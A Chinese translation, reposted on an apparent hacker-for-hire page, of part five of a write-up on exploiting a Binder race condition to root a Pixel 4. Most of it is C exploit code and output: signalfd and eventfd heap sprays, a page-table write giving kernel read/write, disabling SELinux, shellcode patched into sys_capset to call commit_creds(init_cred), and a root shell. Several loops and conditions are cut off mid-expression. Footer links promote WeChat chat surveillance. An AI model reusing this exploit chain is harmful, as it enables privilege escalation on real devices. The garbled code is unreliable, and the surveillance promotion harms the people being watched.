深入分析Binder中的单指令竞态条件漏洞(五)

访客3年前关于黑客接单431

  在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用 *** 。

  (接上文)

  因为我们不确定我们是否能够用正确的swapper_pg_dir地址替换freelist指针,所以我们需要用另一种方式将它写在其他地方,并使freelist指针指向它。这样,我们就可以在两个而不是一个分配中编写描述符。这个阶段有点复杂,我们将一步一步地解释。

  此过程的之一个要求是找到一个完全用零填充并且足够大的内核内存区域,以便即使signalfd修改我们的原始地址,我们也将最终进入其中(即,它应该大于0x40100字节)。应该用零填充的原因是因为我们将在其中分配slab对象,并且如果在此处存在非null值,它将用一个不可控制的地址替换freelist指针,并且如果随后进行分配,则会使系统崩溃发生在未映射或正在使用的内存中。

  内核中可能存在满足这些要求的地址。就这里来说,我们选择了长度为0x198000的ipa_testbus_mem缓冲区。它是基于Qualcomm的设备所特有的,足以应对我们的Pixel 4攻击。

  lyte@debian:~$ aarch64-linux-gnu-nm --print-size vmlinux | grep ipa_testbus_mem

  ffffff900c19b0b8 0000000000198000 b ipa_testbus_mem

  为了举例起见,我们将假设该缓冲区位于地址0x10000000处。如果我们要将freelist指针改为指向这个地址,它将被转换为0x10040100。但是,在这种情况下,这并不是一个问题,因为我们仍将以原始缓冲区结尾,并确保0x10040100的值仍为零。

  1.png

  正如我们前面所说的,我们将分两次进行分配。之一次是在ipa_testbus_mem中进行的分配,它将设置下一个freelist指针的值,并使其指向我们的swapper_pg_dir条目地址。然后,我们将释放所有内容,并利用该值重做一系列signalfd,以最终分配到swapper_pg_dir中的条目的内存空间。但是,要进行之一次分配,我们需要一个允许我们写入至少8个字节的任意值的对象。我们可以重用sendmsgs,但是它们需要被阻塞,因为我们必须耗尽slab的freelist才能到达我们的分配位置。由于非阻塞的sendmsg会被立即释放,所以情况就不是这样了。阻塞sendmsgs是一个潜在的解决方案,但是它的设置工作要比我们选择的对象(即eventfd)多一些。

  struct eventfd_ctx {

  struct kref kref;

  wait_queue_head_t wqh;

  __u64 count;

  unsigned int flags;

  };

  利用eventfd的count字段,可以在内核内存中写入任意值。只需在eventfd返回的文件描述符上使用write写入一个值,就会使count递增相同的量。现在,策略如下:

  使重叠信号FD与悬空存储器重叠

  使用重叠的signalfd改变freelist指针,使其指向ipa_testbus_mem | 0x40100,这样signalfd带来的变化就不重要了

  使用eventfds喷射,并在count中写入swapper_pg_dir条目的地址

  1.png

  1.png

  在这个阶段,我们已经在内核内存中获得了一个持久的用户控制值。现在的想法是,使用这个值作为Slab的freelist的一部分。接下来的步骤如下:

  释放所有eventfds

  使用重叠signalfd篡改freelist指针,使其指向ipa_testbus_mem | 0x40100 + 0x20 (0x20为eventfd_ctx中count的偏移量)

  使用其sigset值设置为块描述符0x00E8000080000751的signalfds进行喷射

  1.png

  1.png

  1.png

  一旦将条目写入swapper_pg_dir,我们就可以使用基地址0xFFFFFFF800000000从内核内存中进行任意的读写操作。

  具体实现代码如下所示:

  uint64_t bss_target=(kaslr_leak + IPA_TESTBUS_MEM) | 0x40100;

  debug_printf("BSS alloc will be @%lx", bss_target);

  uint64_t sigset_target=~bss_target;

  ret=signalfd(overlapping_fd, (sigset_t*)&sigset_target, 0);

  if (ret

  debug_printf("Could not change overlapping_fd value with %lx", bss_target);

  mask=get_sigfd_sigmask(overlapping_fd);

  debug_printf("Value @X after changing overlapping_fd is %lx", mask);

  uint64_t gb=0x40000000;

  uint64_t index=0x1e0;

  uint64_t base=0xffffff8000000000 + gb * index;

  uint64_t target=kaslr_leak + SWAPPER_PG_DIR + index * 8;

  debug_printf("Swapper dir alloc will be @%lx (index=%lx, base=%lx)",

  target, index, base);

  for (int i=0; i

  eventfd_bss[i]=eventfd(0, EFD_NONBLOCK);

  if (eventfd_bss[i]

  debug_printf("Could not open eventfd - %d (%s)", eventfd_bss[i], strerror(errno));

  ret=write(eventfd_bss[i], &target, sizeof(uint64_t));

  if (ret

  debug_printf("Could not write eventfd - %d (%s)", eventfd_bss[i], strerror(errno));

  }

  uint64_t orig_mask=get_sigfd_sigmask(overlapping_fd);

  for (int i=0; i

  ret=close(eventfd_bss[i]);

  if (ret

  debug_printf("Could not close eventfd (%d - %s)", eventfd_bss[i], strerror(errno));

  mask=get_sigfd_sigmask(overlapping_fd);

  if (mask !=orig_mask) goto next_stage;

  }

  next_stage:

  bss_target=bss_target + (uint64_t)0x20;

  uint64_t sigset_target=~bss_target;

  ret=signalfd(overlapping_fd, (sigset_t*)&sigset_target, 0);

  if (ret

  debug_printf("Could not change overlapping_fd value with %lx", bss_target);

  mask=get_sigfd_sigmask(overlapping_fd);

  debug_printf("Value @X after changing overlapping_fd is %lx", mask);

  uint64_t block_descriptor=0x00e8000000000751;

  block_descriptor +=0x80000000;

  int signalfd_bss[NB_SIGNALFDS_FINAL];

  for (int i=0; i

  unsigned long sigset_value=~block_descriptor;

  signalfd_bss[i]=signalfd(-1, (sigset_t*)&sigset_value, 0);

  if (signalfd_bss[i]

  debug_printf("Could not open signalfd - %d (%s)", signalfd_bss[i], strerror(errno));

  }

  debug_printf("Kernel text value=%lx", *(unsigned long *)(base + 0x80000));

  结果如下所示:

  [6397] exploit.c:419:trigger_thread_func(): Swapper dir alloc will be @ffffff9a130b5f00 (index=1e0, base=fffffff800000000)

  [6498] exploit.c:431:trigger_thread_func(): BSS alloc will be @ffffff9a12f45158

  [6498] exploit.c:437:trigger_thread_func(): Value @X after changing overlapping_fd is ffffff9a12f45158

  [6498] exploit.c:483:trigger_thread_func(): Value @X after changing overlapping_fd is ffffff9a12f45178

  [6397] exploit.c:508:trigger_thread_func(): Kernel text value=148cc000

  我们还可以注意到,我们映射的部分的前四个字节对应于vmlinux二进制文件的开头部分:

  lyte@debian:~$ xxd vmlinux | head

  00000000: 00c0 8c14 0000 0000 0000 0800 0000 0000 ................

  00000010: 0070 2303 0000 0000 0a00 0000 0000 0000 .p#.............

  00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................

  我们现在正处于漏洞利用的最后阶段。在本节中,我们将利用我们的任意内核读/写原语来禁用SELinux,修改进程的凭据并最终获得root shell。

  这一部分非常简单,对于Android攻击来说也很常见。我们只需将selinux_enforcing设置为0即可。

  uint64_t selinux_enforcing_addr=base + 0x80000 + SELINUX_ENFORCING;

  debug_printf("Before: enforcing=%x

  ", *(uint32_t *)selinux_enforcing_addr);

  *(uint32_t *)selinux_enforcing_addr=0;

  debug_printf("After: enforcing=%x

  ", *(uint32_t *)selinux_enforcing_addr);

  使用上面给出的代码片段,您应该会看到如下所示的输出:

  [6397] exploit.c:508:trigger_thread_func(): Before: enforcing=1

  [6397] exploit.c:508:trigger_thread_func(): After: enforcing=0

  现在,剩下的最后一个问题是获取进程的root权限。为了实现这一点,我们将使用我们的read/write原语临时修改一个syscall处理程序。在本例中,我们将修改sys_capset,但在实践中,任何syscall都可以使用,只需确保它们在漏洞利用代码运行时被调用的机率很小即可。

  为了获得root的权限和功能,我们将把exploit进程的凭据更改为init的凭据。为此,在init_cred上添加一个简单的commit_creds就可以解决这个问题。

  这个过程对应的C代码如下所示:

  #define LO_DWORD(addr) ((addr) & 0xffffffff)

  #define HI_DWORD(addr) LO_DWORD((addr) >> 32)

  uint64_t sys_capset_addr=base + 0x80000 + SYS_CAPSET;

  uint64_t init_cred_addr=kaslr_leak + INIT_CRED;

  uint64_t commit_creds_addr=kaslr_leak + COMMIT_CREDS;

  uint32_t shellcode[]={

  // commit_creds(init_cred)

  0x58000040, // ldr x0, .+8

  0x14000003, // b .+12

  LO_DWORD(init_cred_addr),

  HI_DWORD(init_cred_addr),

  0x58000041, // ldr x1, .+8

  0x14000003, // b .+12

  LO_DWORD(commit_creds_addr),

  HI_DWORD(commit_creds_addr),

  0xA9BF7BFD, // stp x29, x30, [sp, #-0x10]!

  0xD63F0020, // blr x1

  0xA8C17BFD, // ldp x29, x30, [sp], #0x10

  0x2A1F03E0, // mov w0, wzr

  0xD65F03C0, // ret

  };

  uint8_t sys_capset[sizeof(shellcode)];

  memcpy(sys_capset, sys_capset_addr, sizeof(sys_capset));

  debug_print("Patching SyS_capset()

  ");

  memcpy(sys_capset_addr, shellcode, sizeof(shellcode));

  ret=capset(NULL, NULL);

  debug_printf("capset returned %d", ret);

  if (ret

  debug_print("Restoring SyS_capset()");

  memcpy(sys_capset_addr, sys_capset, sizeof(sys_capset));

  system("sh");

  exit(0);

  最后,我们可以将所有内容放在一起,启动exploit,就可以获取root shell了。

  [6397] exploit.c:508:trigger_thread_func(): Patching SyS_capset()

  [6397] exploit.c:585:trigger_thread_func(): capset returned 0

  [6397] exploit.c:588:trigger_thread_func(): Restoring SyS_capset()

  id

  uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

  uname -a

  Linux localhost 4.14.170-g5513138224ab-ab6570431 #1 *** P PREEMPT Tue Jun 9 02:18:01 UTC 2020 aarch64

  Binder Transactions In The Bowels of the Linux Kernel - Synkactiv

  

  Exploiting CVE-2020-0041: Escaping the Chrome Sandbox - Blue Frost Security

  Part 1:

  Part 2:

  Android Kernel Sources - Before the patch for CVE-2020-0423

  

  Service Manager Sources

  

  Building a Pixel kernel with KASAN+KCOV

  

  The SLUB allocator - PaoloMonti42

  

  Google Developers - Pixel 4 "flame" factory images

  

  Mitigations are attack surface, too - Project Zero

  

  CVE-2017-11176: A step-by-step Linux Kernel exploitation - Lexfo

  Part 1:

  Part 2:

  Part 3:

  Part 4:

  K *** A: Breaking Android kernel isolation and Rooting with ARM MMU features - ThomasKing

  

  原文地址:

相关文章

华为手机怎么连接电脑(非常简单跟我学)

华为手机怎么连接电脑(非常简单跟我学)

华为手机怎么连接电脑(非常简单跟我学)   华为首创无线连接电脑,可以在电脑上对手机的文件和图片直接操作,步骤如下: 一,打开电脑和手机,共同在WIFI局域网环境下,点击手机的“设置”,然后找到...

老公把小三微信删掉如何恢复(老公出轨 查微信删除记录)

  老公把小三微信删掉如何恢复(老公出轨 查微信删除记录)   得不说现在的微信功能属实强大,不仅能够让我们在上面得到自己所需要的东西,而且有一些隐藏的功能还会让我们能够有一丝的满足感,尤其是当你能够...

农村美食美景UP主:华农兄弟,最爱吃竹鼠

最近美食视频在B站上稀奇火,前一阵先容的一人一串、山药视频等,都是先容吃的。 今天先容的这位美食UP主,居住在农村(江西赣州), 自己养的竹鼠、鸡、鸭子、小猪等,另有一些野味,蜂巢、钓鱼、蝗虫,...

手机植入木马怎么清理

您好,建议您安装电脑管家最新版,并将病毒库升级至最新版,然后重新启动您的电脑,在开机过程中按F8进入安全模式,使用。 手机中了病毒,可以安装腾讯手机管家杀毒,它可以自能的扫描一切垃圾病毒,自能的清理杀...

微信远程监控聊天记录 简单易上手监控微信聊天

百度站长平台今日发布公告称百度VIP俱乐部正式上线,将于8月5日以邀请码的形式邀请首批成员参与。据官方表示,百度VIP俱乐部为免费服务平台,成为VIP俱乐部的成员后,站点将可以逐渐享受到工具、资源、活...

卓琳简历

1、邓小平同志的夫人卓琳——平凡至伟颁奖辞:彩云之南的才女,黄土高原上的琼英。携小平手五十八载,硝烟里转战南北,风雨中起落同随。对她爱的人不离。 答案提到:张亚平-周保中-张丽珠-姜亮夫-杨增新-曾泽...